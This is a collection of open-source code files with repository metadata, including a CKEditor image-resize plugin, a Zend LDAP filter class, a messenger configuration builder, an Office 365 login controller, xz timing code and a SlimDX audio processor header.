resizeWrapper.addClass( 'cke_image_resizer_wrapper' ); resizeWrapper.append( imageOrLink ); resizeWrapper.append( resizer ); widget.element.append( resizeWrapper, true ); // Remove the old wrapper which could came from e.g. pasted HTML // and which could be corrupted (e.g. resizer span has been lost). if ( oldResizeWrapper.is( 'span' ) ) oldResizeWrapper.remove(); } else { widget.wrapper.append( resizer ); } // Calculate values of size variables and mouse offsets. resizer.on( 'mousedown', function( evt ) { var image = widget.parts.image, // "factor" can be either 1 or -1. I.e.: For right-aligned images, we need to // subtract the difference to get proper width, etc. Without "factor", // resizer starts working the opposite way. factor = widget.data.align == 'right' ? -1 : 1, // The x-coordinate of the mouse relative to the screen // when button gets pressed. startX = evt.data.$.screenX, startY = evt.data.$.screenY, // The initial dimensions and aspect ratio of the image. startWidth = image.$.clientWidth, startHeight = image.$.clientHeight, ratio = startWidth / startHeight, listeners = [], // A class applied to editable during resizing. cursorClass = 'cke_image_s' + ( !~factor ? 'w' : 'e' ), nativeEvt, newWidth, newHeight, updateData, moveDiffX, moveDiffY, moveRatio; // Save the undo snapshot first: before resizing. editor.fire( 'saveSnapshot' ); // Mousemove listeners are removed on mouseup. attachToDocuments( 'mousemove', onMouseMove, listeners ); // Clean up the mousemove listener. Update widget data if valid. attachToDocuments( 'mouseup', onMouseUp, listeners ); // The entire editable will have the special cursor while resizing goes on. editable.addClass( cursorClass ); // This is to always keep the resizer element visible while resizing. resizer.addClass( 'cke_image_resizing' ); // Attaches an event to a global document if inline editor. // Additionally, if classic (`iframe`-based) editor, also attaches the same event to `iframe`'s document. function attachToDocuments( name, callback, collection ) { var globalDoc = CKEDITOR.document, listeners = []; if ( !doc.equals( globalDoc ) ) listeners.push( globalDoc.on( name, callback ) ); listeners.push( doc.on( name, callback ) ); if ( collection ) { for ( var i = listeners.length; i--; ) collection.push( listeners.pop() ); } } // Calculate with first, and then adjust height, preserving ratio. function adjustToX() { newWidth = startWidth + factor * moveDiffX; newHeight = Math.round( newWidth / ratio ); } // Calculate height first, and then adjust width, preserving ratio. function adjustToY() { newHeight = startHeight - moveDiffY; newWidth = Math.round( newHeight * ratio ); } // This is how variables refer to the geometry. // Note: x corresponds to moveOffset, this is the position of mouse // Note: o corresponds to [startX, startY]. // // +--------------+--------------+ // | | | // | I | II | // | | | // +------------- o -------------+ _ _ _ // | | | ^ // | VI | III | | moveDiffY // | | x _ _ _ _ _ v // +--------------+---------|----+ // | | // <-------> // moveDiffX function onMouseMove( evt ) { nativeEvt = evt.data.$; // This is how far the mouse is from the point the button was pressed. moveDiffX = nativeEvt.screenX - startX; moveDiffY = startY - nativeEvt.screenY; // This is the aspect ratio of the move difference. moveRatio = Math.abs( moveDiffX / moveDiffY ); // Left, center or none-aligned widget. if ( factor == 1 ) { if ( moveDiffX <= 0 ) { // Case: IV. if ( moveDiffY <= 0 ) adjustToX(); // Case: I. else { if ( moveRatio >= ratio ) adjustToX(); else adjustToY(); } } else { // Case: III. if ( moveDiffY <= 0 ) { if ( moveRatio >= ratio ) adjustToY(); else adjustToX(); } // Case: II. else { adjustToY(); } } } // Right-aligned widget. It mirrors behaviours, so I becomes II, // IV becomes III and vice-versa. else { if ( moveDiffX <= 0 ) { // Case: IV. if ( moveDiffY <= 0 ) { if ( moveRatio >= ratio ) adjustToY(); else adjustToX(); } // Case: I. else { adjustToY(); } } else { // Case: III. if ( moveDiffY <= 0 ) adjustToX(); // Case: II. else { if ( moveRatio >= ratio ) { adjustToX(); } else { adjustToY(); } } } } // Don't update attributes if less than 10. // This is to prevent images to visually disappear. if ( newWidth >= 15 && newHeight >= 15 ) { image.setAttributes( { width: newWidth, height: newHeight } ); updateData = true; } else { updateData = false; } } function onMouseUp() { var l; while ( ( l = listeners.pop() ) ) l.removeListener(); // Restore default cursor by removing special class. editable.removeClass( cursorClass ); // This is to bring back the regular behaviour of the resizer. resizer.removeClass( 'cke_image_resizing' ); if ( updateData ) { widget.setData( { width: newWidth, height: newHeight } ); // Save another undo snapshot: after resizing. editor.fire( 'saveSnapshot' ); } // Don't update data twice or more. updateData = false; } } ); // Change the position of the widget resizer when data changes. widget.on( 'data', function() { resizer[ widget.data.align == 'right' ? 'addClass' : 'removeClass' ]( 'cke_image_resizer_left' ); } ); } // Integrates widget alignment setting with justify // plugin's commands (execution and refreshment). // @param {CKEDITOR.editor} editor // @param {String} value 'left', 'right', 'center' or 'block' function alignCommandIntegrator( editor ) { var execCallbacks = [], enabled; return function( value ) { var command = editor.getCommand( 'justify' + value ); // Most likely, the justify plugin isn't loaded. if ( !command ) return; // This command will be manually refreshed along with // other commands after exec. execCallbacks.push( function() { command.refresh( editor, editor.elementPath() ); } ); if ( value in { right: 1, left: 1, center: 1 } ) { command.on( 'exec', function( evt ) { var widget = getFocusedWidget( editor ); if ( widget ) { widget.setData( 'align', value ); // Once the widget changed its align, all the align commands // must be refreshed: the event is to be cancelled. for ( var i = execCallbacks.length; i--; ) execCallbacks[ i ](); evt.cancel(); } } ); } command.on( 'refresh', function( evt ) { var widget = getFocusedWidget( editor ), allowed = { right: 1, left: 1, center: 1 }; if ( !widget ) return; // Cache "enabled" on first use. This is because filter#checkFeature may // not be available during plugin's afterInit in the future — a moment when // alignCommandIntegrator is called. if ( enabled === undefined ) enabled = editor.filter.checkFeature( editor.widgets.registered.image.features.align ); // Don't allow justify commands when widget alignment is disabled (#11004). if ( !enabled ) this.setState( CKEDITOR.TRISTATE_DISABLED ); else { this.setState( ( widget.data.align == value ) ? ( CKEDITOR.TRISTATE_ON ) : ( ( value in allowed ) ? CKEDITOR.TRISTATE_OFF : CKEDITOR.TRISTATE_DISABLED ) ); } evt.cancel(); } ); }; } function linkCommandIntegrator( editor ) { // Nothing to integrate with if link is not loaded. if ( !editor.plugins.link ) return; CKEDITOR.on( 'dialogDefinition', function( evt ) { var dialog = evt.data; if ( dialog.name == 'link' ) { var def = dialog.definition; var onShow = def.onShow, onOk = def.onOk; def.onShow = function() { var widget = getFocusedWidget( editor ); // Widget cannot be enclosed in a link, i.e. // <a>foo<inline widget/>bar</a> if ( widget && ( widget.inline ? !widget.wrapper.getAscendant( 'a' ) : 1 ) ) this.setupContent( widget.data.link || {} ); else onShow.apply( this, arguments ); }; // Set widget data if linking the widget using // link dialog (instead of default action). // State shifter handles data change and takes // care of internal DOM structure of linked widget. def.onOk = function() { var widget = getFocusedWidget( editor ); // Widget cannot be enclosed in a link, i.e. // <a>foo<inline widget/>bar</a> if ( widget && ( widget.inline ? !widget.wrapper.getAscendant( 'a' ) : 1 ) ) { var data = {}; // Collect data from fields. this.commitContent( data ); // Set collected data to widget. widget.setData( 'link', data ); } else { onOk.apply( this, arguments ); } }; } } ); // Overwrite default behaviour of unlink command. editor.getCommand( 'unlink' ).on( 'exec', function( evt ) { var widget = getFocusedWidget( editor ); // Override unlink only when link truly belongs to the widget. // If wrapped inline widget in a link, let default unlink work (#11814). if ( !widget || !widget.parts.link ) return; widget.setData( 'link', null ); // Selection (which is fake) may not change if unlinked image in focused widget, // i.e. if captioned image. Let's refresh command state manually here. this.refresh( editor, editor.elementPath() ); evt.cancel(); } ); // Overwrite default refresh of unlink command. editor.getCommand( 'unlink' ).on( 'refresh', function( evt ) { var widget = getFocusedWidget( editor ); if ( !widget ) return; // Note that widget may be wrapped in a link, which // does not belong to that widget (#11814). this.setState( widget.data.link || widget.wrapper.getAscendant( 'a' ) ? CKEDITOR.TRISTATE_OFF : CKEDITOR.TRISTATE_DISABLED ); evt.cancel(); } ); } // Returns the focused widget, if of the type specific for this plugin. // If no widget is focused, `null` is returned. // // @param {CKEDITOR.editor} // @returns {CKEDITOR.plugins.widget} function getFocusedWidget( editor ) { var widget = editor.widgets.focused; if ( widget && widget.name == 'image' ) return widget; return null; } // Returns a set of widget allowedContent rules, depending // on configurations like config#image2_alignClasses or // config#image2_captionedClass. // // @param {CKEDITOR.editor} // @returns {Object} function getWidgetAllowedContent( editor ) { var alignClasses = editor.config.image2_alignClasses, rules = { // Widget may need <div> or <p> centering wrapper. div: { match: centerWrapperChecker( editor ) }, p: { match: centerWrapperChecker( editor ) }, img: { attributes: '!src,alt,width,height' }, figure: { classes: '!' + editor.config.image2_captionedClass }, figcaption: true }; if ( alignClasses ) { // Centering class from the config. rules.div.classes = alignClasses[ 1 ]; rules.p.classes = rules.div.classes; // Left/right classes from the config. rules.img.classes = alignClasses[ 0 ] + ',' + alignClasses[ 2 ]; rules.figure.classes += ',' + rules.img.classes; } else { // Centering with text-align. rules.div.styles = 'text-align'; rules.p.styles = 'text-align'; rules.img.styles = 'float'; rules.figure.styles = 'float,display'; } return rules; } // Returns a set of widget feature rules, depending // on editor configuration. Note that the following may not cover // all the possible cases since requiredContent supports a single // tag only. // // @param {CKEDITOR.editor} // @returns {Object} function getWidgetFeatures( editor ) { var alignClasses = editor.config.image2_alignClasses, features = { dimension: { requiredContent: 'img[width,height]' }, align: { requiredContent: 'img' + ( alignClasses ? '(' + alignClasses[ 0 ] + ')' : '{float}' ) }, caption: { requiredContent: 'figcaption' } }; return features; } // Returns element which is styled, considering current // state of the widget. // // @see CKEDITOR.plugins.widget#applyStyle // @param {CKEDITOR.plugins.widget} widget // @returns {CKEDITOR.dom.element} function getStyleableElement( widget ) { return widget.data.hasCaption ? widget.element : widget.parts.image; } } )(); /** * A CSS class applied to the `<figure>` element of a captioned image. * * // Changes the class to "captionedImage". * config.image2_captionedClass = 'captionedImage'; * * @cfg {String} [image2_captionedClass='image'] * @member CKEDITOR.config */ CKEDITOR.config.image2_captionedClass = 'image'; /** * Determines whether dimension inputs should be automatically filled when the image URL changes in the Enhanced Image * plugin dialog window. * * config.image2_prefillDimensions = false; * * @since 4.5 * @cfg {Boolean} [image2_prefillDimensions=true] * @member CKEDITOR.config */ /** * Disables the image resizer. By default the resizer is enabled. * * config.image2_disableResizer = true; * * @since 4.5 * @cfg {Boolean} [image2_disableResizer=false] * @member CKEDITOR.config */ /** * CSS classes applied to aligned images. Useful to take control over the way * the images are aligned, i.e. to customize output HTML and integrate external stylesheets. * * Classes should be defined in an array of three elements, containing left, center, and right * alignment classes, respectively. For example: * * config.image2_alignClasses = [ 'align-left', 'align-center', 'align-right' ]; * * **Note**: Once this configuration option is set, the plugin will no longer produce inline * styles for alignment. It means that e.g. the following HTML will be produced: * * <img alt="My image" class="custom-center-class" src="foo.png" /> * * instead of: * * <img alt="My image" style="float:left" src="foo.png" /> * * **Note**: Once this configuration option is set, corresponding style definitions * must be supplied to the editor: * * * For [classic editor](#!/guide/dev_framed) it can be done by defining additional * styles in the {@link CKEDITOR.config#contentsCss stylesheets loaded by the editor}. The same * styles must be provided on the target page where the content will be loaded. * * For [inline editor](#!/guide/dev_inline) the styles can be defined directly * with `<style> ... <style>` or `<link href="..." rel="stylesheet">`, i.e. within the `<head>` * of the page. * * For example, considering the following configuration: * * config.image2_alignClasses = [ 'align-left', 'align-center', 'align-right' ]; * * CSS rules can be defined as follows: * * .align-left { * float: left; * } * * .align-right { * float: right; * } * * .align-center { * text-align: center; * } * * .align-center > figure { * display: inline-block; * } * * @since 4.4 * @cfg {String[]} [image2_alignClasses=null] * @member CKEDITOR.config */
mit
hansbonini/cloud9-magento
www/lib/Zend/Ldap/Filter/Logical.php
2952
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * @category Zend * @package Zend_Ldap * @subpackage Filter * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id$ */ /** * @see Zend_Ldap_Filter_Abstract */ #require_once 'Zend/Ldap/Filter/Abstract.php'; /** * @see Zend_Ldap_Filter_String */ #require_once 'Zend/Ldap/Filter/String.php'; /** * Zend_Ldap_Filter_Logical provides a base implementation for a grouping filter. * * @category Zend * @package Zend_Ldap * @subpackage Filter * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ abstract class Zend_Ldap_Filter_Logical extends Zend_Ldap_Filter_Abstract { const TYPE_AND = '&'; const TYPE_OR = '|'; /** * All the sub-filters for this grouping filter. * * @var array */ private $_subfilters; /** * The grouping symbol. * * @var string */ private $_symbol; /** * Creates a new grouping filter. * * @param array $subfilters * @param string $symbol */ protected function __construct(array $subfilters, $symbol) { foreach ($subfilters as $key => $s) { if (is_string($s)) $subfilters[$key] = new Zend_Ldap_Filter_String($s); else if (!($s instanceof Zend_Ldap_Filter_Abstract)) { /** * @see Zend_Ldap_Filter_Exception */ #require_once 'Zend/Ldap/Filter/Exception.php'; throw new Zend_Ldap_Filter_Exception('Only strings or Zend_Ldap_Filter_Abstract allowed.'); } } $this->_subfilters = $subfilters; $this->_symbol = $symbol; } /** * Adds a filter to this grouping filter. * * @param Zend_Ldap_Filter_Abstract $filter * @return Zend_Ldap_Filter_Logical */ public function addFilter(Zend_Ldap_Filter_Abstract $filter) { $new = clone $this; $new->_subfilters[] = $filter; return $new; } /** * Returns a string representation of the filter. * * @return string */ public function toString() { $return = '(' . $this->_symbol; foreach ($this->_subfilters as $sub) $return .= $sub->toString(); $return .= ')'; return $return; } }
mit
luoxiaoshenghustedu/actor-platform
actor-apps/core/src/main/java/im/actor/core/ConfigurationBuilder.java
8199
/* * Copyright (C) 2015 Actor LLC. <https://actor.im> */ package im.actor.core; import com.google.j2objc.annotations.ObjectiveCName; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; import im.actor.runtime.mtproto.ConnectionEndpoint; /** * Configuration builder for starting up messenger object */ public class ConfigurationBuilder { private ArrayList<ConnectionEndpoint> endpoints = new ArrayList<ConnectionEndpoint>(); private PhoneBookProvider phoneBookProvider; private boolean enableContactsLogging = false; private boolean enableNetworkLogging = false; private boolean enableFilesLogging = false; private NotificationProvider notificationProvider; private ApiConfiguration apiConfiguration; private AnalyticsProvider analyticsProvider; private PlatformType platformType = PlatformType.GENERIC; private DeviceCategory deviceCategory = DeviceCategory.UNKNOWN; private int minDelay = 100; private int maxDelay = 15000; private int maxFailureCount = 50; /** * Set App Type * * @param platformType App Type * @return this */ @NotNull @ObjectiveCName("setPlatformType:") public ConfigurationBuilder setPlatformType(@NotNull PlatformType platformType) { this.platformType = platformType; return this; } /** * Setting Device Type * * @param deviceCategory Device Type * @return this */ @NotNull @ObjectiveCName("setDeviceCategory:") public ConfigurationBuilder setDeviceCategory(@NotNull DeviceCategory deviceCategory) { this.deviceCategory = deviceCategory; return this; } /** * Set Analytics Provider * * @param analyticsProvider the Analytics Provicer * @return this */ @NotNull @ObjectiveCName("setAnalyticsProvider:") public ConfigurationBuilder setAnalyticsProvider(@NotNull AnalyticsProvider analyticsProvider) { this.analyticsProvider = analyticsProvider; return this; } /** * Set API Configuration * * @param apiConfiguration API Configuration * @return this */ @NotNull @ObjectiveCName("setApiConfiguration:") public ConfigurationBuilder setApiConfiguration(@NotNull ApiConfiguration apiConfiguration) { this.apiConfiguration = apiConfiguration; return this; } /** * Set Notification provider * * @param notificationProvider Notification provider * @return this */ @NotNull @ObjectiveCName("setNotificationProvider:") public ConfigurationBuilder setNotificationProvider(@NotNull NotificationProvider notificationProvider) { this.notificationProvider = notificationProvider; return this; } /** * Set Enable contacts logging * * @param enableContactsLogging Enable contacts logging flag * @return this */ @NotNull @ObjectiveCName("setEnableContactsLogging:") public ConfigurationBuilder setEnableContactsLogging(boolean enableContactsLogging) { this.enableContactsLogging = enableContactsLogging; return this; } /** * Set Enable Network logging * * @param enableNetworkLogging Enable network logging * @return this */ @NotNull @ObjectiveCName("setEnableNetworkLogging:") public ConfigurationBuilder setEnableNetworkLogging(boolean enableNetworkLogging) { this.enableNetworkLogging = enableNetworkLogging; return this; } /** * Set Enable file operations loggging * * @param enableFilesLogging Enable files logging * @return this */ @NotNull @ObjectiveCName("setEnableFilesLogging:") public ConfigurationBuilder setEnableFilesLogging(boolean enableFilesLogging) { this.enableFilesLogging = enableFilesLogging; return this; } /** * Set Phone Book provider * * @param phoneBookProvider phone book provider * @return this */ @NotNull @ObjectiveCName("setPhoneBookProvider:") public ConfigurationBuilder setPhoneBookProvider(@NotNull PhoneBookProvider phoneBookProvider) { this.phoneBookProvider = phoneBookProvider; return this; } /** * Set min backoff delay * * @param minDelay min connection exponential backoff delay * @return this */ @ObjectiveCName("setMinDelay:") public ConfigurationBuilder setMinDelay(int minDelay) { this.minDelay = minDelay; return this; } /** * Set max backoff delay * * @param maxDelay max connection exponential backoff delay * @return this */ @ObjectiveCName("setMaxDelay:") public ConfigurationBuilder setMaxDelay(int maxDelay) { this.maxDelay = maxDelay; return this; } /** * Set max connection exponential backoff failure count * * @param maxFailureCount max connection exponential backoff failure count * @return this */ @ObjectiveCName("setMaxFailureCount:") public ConfigurationBuilder setMaxFailureCount(int maxFailureCount) { this.maxFailureCount = maxFailureCount; return this; } /** * Adding Endpoint for API * Valid URLs are: * tcp://[host]:[port] * tls://[host]:[port] * ws://[host]:[port] * wss://[host]:[port] * * @param url endpoint url * @return this */ @NotNull @ObjectiveCName("addEndpoint:") public ConfigurationBuilder addEndpoint(@NotNull String url) { // Manual baggy parsing for GWT // TODO: Correct URL parsing String scheme = url.substring(0, url.indexOf(":")).toLowerCase(); String host = url.substring(url.indexOf("://") + "://".length()); if (host.endsWith("/")) { host = host.substring(0, host.length() - 1); } int port = -1; if (host.contains(":")) { String[] parts = host.split(":"); host = parts[0]; port = Integer.parseInt(parts[1]); } if (scheme.equals("ssl") || scheme.equals("tls")) { if (port <= 0) { port = 443; } endpoints.add(new ConnectionEndpoint(host, port, ConnectionEndpoint.Type.TCP_TLS)); } else if (scheme.equals("tcp")) { if (port <= 0) { port = 80; } endpoints.add(new ConnectionEndpoint(host, port, ConnectionEndpoint.Type.TCP)); } else if (scheme.equals("ws")) { if (port <= 0) { port = 80; } endpoints.add(new ConnectionEndpoint(host, port, ConnectionEndpoint.Type.WS)); } else if (scheme.equals("wss")) { if (port <= 0) { port = 443; } endpoints.add(new ConnectionEndpoint(host, port, ConnectionEndpoint.Type.WS_TLS)); } else { throw new RuntimeException("Unknown scheme type: " + scheme); } return this; } /** * Build configuration * * @return result configuration */ @NotNull @ObjectiveCName("build") public Configuration build() { if (endpoints.size() == 0) { throw new RuntimeException("Endpoints not set"); } if (phoneBookProvider == null) { throw new RuntimeException("Phonebook Provider not set"); } if (apiConfiguration == null) { throw new RuntimeException("Api Configuration not set"); } if (deviceCategory == null) { throw new RuntimeException("Device Category not set"); } if (platformType == null) { throw new RuntimeException("App Category not set"); } return new Configuration(endpoints.toArray(new ConnectionEndpoint[endpoints.size()]), phoneBookProvider, notificationProvider, apiConfiguration, enableContactsLogging, enableNetworkLogging, enableFilesLogging, analyticsProvider, deviceCategory, platformType, minDelay, maxDelay, maxFailureCount); } }
mit
yagoto/PnP
Samples/MicrosoftGraph.Office365.Simple.MailAndFiles/Office365Api.Graph.Simple.MailAndFiles/Controllers/HomeController.cs
3267
using Microsoft.IdentityModel.Clients.ActiveDirectory; using Office365Api.Graph.Simple.MailAndFiles.Helpers; using Office365Api.Graph.Simple.MailAndFiles.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Web; using System.Web.Mvc; namespace Office365Api.Graph.Simple.MailAndFiles.Controllers { public class HomeController : Controller { // The URL that auth should redirect to after a successful login. Uri loginRedirectUri => new Uri(Url.Action(nameof(Authorize), "Home", null, Request.Url.Scheme)); // The URL to redirect to after a logout. Uri logoutRedirectUri => new Uri(Url.Action(nameof(Index), "Home", null, Request.Url.Scheme)); public ActionResult Index() { // Let's get the user details from the session, stored when user was signed in. if (Session[Helpers.SessionKeys.Login.UserInfo] != null) { ViewBag.Name = (Session[Helpers.SessionKeys.Login.UserInfo] as UserInformation).Name; } return View(); } public ActionResult Logout() { Session.Clear(); return Redirect(Settings.LogoutAuthority + logoutRedirectUri.ToString()); } public ActionResult Login() { if (string.IsNullOrEmpty(Settings.ClientId) || string.IsNullOrEmpty(Settings.ClientSecret)) { ViewBag.Message = "Please set your client ID and client secret in the Web.config file"; return View(); } var authContext = new AuthenticationContext(Settings.AzureADAuthority); // Generate the parameterized URL for Azure login. Uri authUri = authContext.GetAuthorizationRequestURL( Settings.O365UnifiedAPIResource, Settings.ClientId, loginRedirectUri, UserIdentifier.AnyUser, null); // Redirect the browser to the login page, then come back to the Authorize method below. return Redirect(authUri.ToString()); } public async Task<ActionResult> Authorize() { var authContext = new AuthenticationContext(Settings.AzureADAuthority); // Get the token. var authResult = await authContext.AcquireTokenByAuthorizationCodeAsync( Request.Params["code"], // the auth 'code' parameter from the Azure redirect. loginRedirectUri, // same redirectUri as used before in Login method. new ClientCredential(Settings.ClientId, Settings.ClientSecret), // use the client ID and secret to establish app identity. Settings.O365UnifiedAPIResource); // Save the token in the session. Session[SessionKeys.Login.AccessToken] = authResult.AccessToken; // Get info about the current logged in user. Session[SessionKeys.Login.UserInfo] = await GraphHelper.GetUserInfoAsync(authResult.AccessToken); return RedirectToAction(nameof(Index), "PersonalData"); } } }
mit
warreee/Algorithm-Implementations
Bogosort/Python/jcla1/bogosort.py
116
from random import shuffle def bogosort(arr): while not sorted(arr) == arr: shuffle(arr) return arr
mit
bartonjs/coreclr
src/mscorlib/src/System/InsufficientExecutionStackException.cs
1547
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /*============================================================================= ** ** ** ** Purpose: The exception class used when there is insufficient execution stack ** to allow most Framework methods to execute. ** ** =============================================================================*/ namespace System { using System; using System.Runtime.Serialization; [Serializable] public sealed class InsufficientExecutionStackException : SystemException { public InsufficientExecutionStackException() : base(Environment.GetResourceString("Arg_InsufficientExecutionStackException")) { SetErrorCode(__HResults.COR_E_INSUFFICIENTEXECUTIONSTACK); } public InsufficientExecutionStackException(String message) : base(message) { SetErrorCode(__HResults.COR_E_INSUFFICIENTEXECUTIONSTACK); } public InsufficientExecutionStackException(String message, Exception innerException) : base(message, innerException) { SetErrorCode(__HResults.COR_E_INSUFFICIENTEXECUTIONSTACK); } private InsufficientExecutionStackException(SerializationInfo info, StreamingContext context) : base(info, context) { } } }
mit
Speedy37/DiskImager
xz-5.2.2/src/xz/mytime.c
2056
/////////////////////////////////////////////////////////////////////////////// // /// \file mytime.c /// \brief Time handling functions // // Author: Lasse Collin // // This file has been put into the public domain. // You can do whatever you want with this file. // /////////////////////////////////////////////////////////////////////////////// #include "private.h" #if !(defined(HAVE_CLOCK_GETTIME) && HAVE_DECL_CLOCK_MONOTONIC) # include <sys/time.h> #endif uint64_t opt_flush_timeout = 0; bool flush_needed; static uint64_t start_time; static uint64_t next_flush; /// \brief Get the current time as milliseconds /// /// It's relative to some point but not necessarily to the UNIX Epoch. static uint64_t mytime_now(void) { // NOTE: HAVE_DECL_CLOCK_MONOTONIC is always defined to 0 or 1. #if defined(HAVE_CLOCK_GETTIME) && HAVE_DECL_CLOCK_MONOTONIC // If CLOCK_MONOTONIC was available at compile time but for some // reason isn't at runtime, fallback to CLOCK_REALTIME which // according to POSIX is mandatory for all implementations. static clockid_t clk_id = CLOCK_MONOTONIC; struct timespec tv; while (clock_gettime(clk_id, &tv)) clk_id = CLOCK_REALTIME; return (uint64_t)(tv.tv_sec) * UINT64_C(1000) + tv.tv_nsec / 1000000; #else struct timeval tv; gettimeofday(&tv, NULL); return (uint64_t)(tv.tv_sec) * UINT64_C(1000) + tv.tv_usec / 1000; #endif } extern void mytime_set_start_time(void) { start_time = mytime_now(); next_flush = start_time + opt_flush_timeout; flush_needed = false; return; } extern uint64_t mytime_get_elapsed(void) { return mytime_now() - start_time; } extern void mytime_set_flush_time(void) { next_flush = mytime_now() + opt_flush_timeout; flush_needed = false; return; } extern int mytime_get_flush_timeout(void) { if (opt_flush_timeout == 0 || opt_mode != MODE_COMPRESS) return -1; const uint64_t now = mytime_now(); if (now >= next_flush) return 0; const uint64_t remaining = next_flush - now; return remaining > INT_MAX ? INT_MAX : (int)remaining; }
mit
Villacaleb/slimdx
source/xapo/BaseProcessor.h
5504
/* * Copyright (c) 2007-2012 SlimDX Group * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #pragma once #include "IAudioProcessor.h" extern const IID IID_CXAPOBase; namespace SlimDX { namespace XAPO { class XAPOBaseImpl; public ref class BaseProcessor abstract : ComObject, IAudioProcessor { COMOBJECT_BASE(CXAPOBase); internal: BaseProcessor() { } property XAPOBaseImpl *ImplPointer { XAPOBaseImpl *get() { return reinterpret_cast<XAPOBaseImpl*>( InternalPointer ); } } protected: BaseProcessor( RegistrationProperties properties ); property bool IsLocked { bool get(); } void ProcessThru( DataStream^ inputBuffer, array<float>^ outputBuffer, int frameCount, int inputChannelCount, int outputChannelCount, bool mixWithDestination ); Result ValidateFormatDefault( SlimDX::Multimedia::WaveFormat^ format ); Result ValidateFormatPair( SlimDX::Multimedia::WaveFormat^ supportedFormat, SlimDX::Multimedia::WaveFormat^ requestedFormat ); public: virtual int CalculateInputFrames( int outputFrameCount ); virtual int CalculateOutputFrames( int inputFrameCount ); virtual Result Initialize( DataStream^ data ); virtual bool IsInputFormatSupported( SlimDX::Multimedia::WaveFormat^ outputFormat, SlimDX::Multimedia::WaveFormat^ requestedInputFormat, [Out] SlimDX::Multimedia::WaveFormat^% supportedInputFormat ); virtual bool IsOutputFormatSupported( SlimDX::Multimedia::WaveFormat^ inputFormat, SlimDX::Multimedia::WaveFormat^ requestedOutputFormat, [Out] SlimDX::Multimedia::WaveFormat^% supportedOutputFormat ); virtual Result LockForProcess( array<LockParameter>^ inputParameters, array<LockParameter>^ outputParameters ); virtual void Process( array<BufferParameter>^ inputParameters, array<BufferParameter>^ outputParameters, bool isEnabled ) abstract; virtual void Reset(); virtual void UnlockForProcess(); virtual property RegistrationProperties RegistrationProperties { SlimDX::XAPO::RegistrationProperties get(); } }; class XAPOBaseImpl : public CXAPOBase { private: gcroot<BaseProcessor^> m_processor; XAPO_REGISTRATION_PROPERTIES *pProperties; public: XAPOBaseImpl( BaseProcessor^ processor, XAPO_REGISTRATION_PROPERTIES *pRegProperties ); virtual ~XAPOBaseImpl() { delete pProperties; pProperties = NULL; } const XAPO_REGISTRATION_PROPERTIES* WINAPI GetRegistrationPropertiesInternal() { return CXAPOBase::GetRegistrationPropertiesInternal(); } BOOL WINAPI IsLocked() { return CXAPOBase::IsLocked(); } void ProcessThru( void *pInputBuffer, FLOAT32 *pOutputBuffer, UINT32 FrameCount, WORD InputChannelCount, WORD OutputChannelCount, BOOL MixWithDestination ) { CXAPOBase::ProcessThru( pInputBuffer, pOutputBuffer, FrameCount, InputChannelCount, OutputChannelCount, MixWithDestination ); } HRESULT ValidateFormatDefault( WAVEFORMATEX *pFormat, BOOL fOverwrite ) { return CXAPOBase::ValidateFormatDefault( pFormat, fOverwrite ); } HRESULT ValidateFormatPair( const WAVEFORMATEX *pSupportedFormat, WAVEFORMATEX *pRequestedFormat, BOOL fOverwrite ) { return CXAPOBase::ValidateFormatPair( pSupportedFormat, pRequestedFormat, fOverwrite ); } UINT32 WINAPI CalcInputFrames( UINT32 OutputFrameCount ); UINT32 WINAPI CalcOutputFrames( UINT32 InputFrameCount ); HRESULT WINAPI GetRegistrationProperties( XAPO_REGISTRATION_PROPERTIES **ppRegistrationProperties ); HRESULT WINAPI Initialize( const void *pData, UINT32 DataByteSize ); HRESULT WINAPI IsInputFormatSupported( const WAVEFORMATEX *pOutputFormat, const WAVEFORMATEX *pRequestedInputFormat, WAVEFORMATEX **ppSupportedInputFormat ); HRESULT WINAPI IsOutputFormatSupported( const WAVEFORMATEX *pInputFormat, const WAVEFORMATEX *pRequestedOutputFormat, WAVEFORMATEX **ppSupportedOutputFormat ); HRESULT WINAPI LockForProcess( UINT32 InputLockedParameterCount, const XAPO_LOCKFORPROCESS_BUFFER_PARAMETERS *pInputLockedParameters, UINT32 OutputLockedParameterCount, const XAPO_LOCKFORPROCESS_BUFFER_PARAMETERS *pOutputLockedParameters ); void WINAPI Reset(); void WINAPI UnlockForProcess(); void WINAPI Process( UINT32 InputProcessParameterCount, const XAPO_PROCESS_BUFFER_PARAMETERS *pInputProcessParameters, UINT32 OutputProcessParameterCount, XAPO_PROCESS_BUFFER_PARAMETERS *pOutputProcessParameters, BOOL IsEnabled ); bool ManagedCaller; }; } }
mit
dancefire/hd806-kernel-android
drivers/gpu/drm/radeon/radeon_device.c
22078
